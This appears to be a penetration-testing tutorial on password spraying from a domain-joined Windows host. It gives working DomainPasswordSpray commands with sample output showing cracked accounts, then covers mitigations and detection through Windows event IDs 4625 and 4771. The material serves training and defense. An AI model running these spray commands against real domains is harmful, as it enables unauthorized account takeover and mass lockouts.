Internal Spraying - Windows

If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out.

Since the host is domain-joined, we will skip the -UserList flag and let the tool generate a list for us.

PS C:\xyz> Import-Module .\DomainPasswordSpray.ps1
PS C:\xyz> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success

We could also utilize Kerbrute to perform the same user enumeration and spraying steps.


Several steps can be taken to mitigate the risk of password spraying attacks. While no single solution will entirely prevent the attack, a defense-in-depth approach will render password spraying attacks extremely difficult.

Technique Description
Multi-factor Authentication Multi-factor authentication can greatly reduce the risk of password spraying attacks. Many types of multi-factor authentication exist, such as push notifications to a mobile device, a rotating One Time Password (OTP) such as Google Authenticator, RSA key, or text message confirmations. While this may prevent an attacker from gaining access to an account, certain multi-factor implementations still disclose if the username/password combination is valid. It may be possible to reuse this credential against other exposed services or applications. It is important to implement multi-factor solutions with all external portals.
Restricting Access It is often possible to log into applications with any domain user account, even if the user does not need to access it as part of their role. In line with the principle of least privilege, access to the application should be restricted to those who require it.
Reducing Impact of Successful Exploitation A quick win is to ensure that privileged users have a separate account for any administrative activities. Application-specific permission levels should also be implemented if possible. Network segmentation is also recommended because if an attacker is isolated to a compromised subnet, this may slow down or entirely stop lateral movement and further compromise.
Password Hygiene Educating users on selecting difficult to guess passwords such as passphrases can significantly reduce the efficacy of a password spraying attack. Also, using a password filter to restrict common dictionary words, names of months and seasons, and variations on the company's name will make it quite difficult for an attacker to choose a valid password for spraying attempts.

Other Considerations

It is vital to ensure that your domain password lockout policy doesn’t increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period.


Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL.

In the Domain Controller’s security log, many instances of event ID 4625: An account failed to log on over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID 4771: Kerberos pre-authentication failed, which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This post details research around detecting password spraying using Windows Security Event Logging.

With these mitigations finely tuned and with logging enabled, an organization will be well-positioned to detect and defend against internal and external password spraying attacks.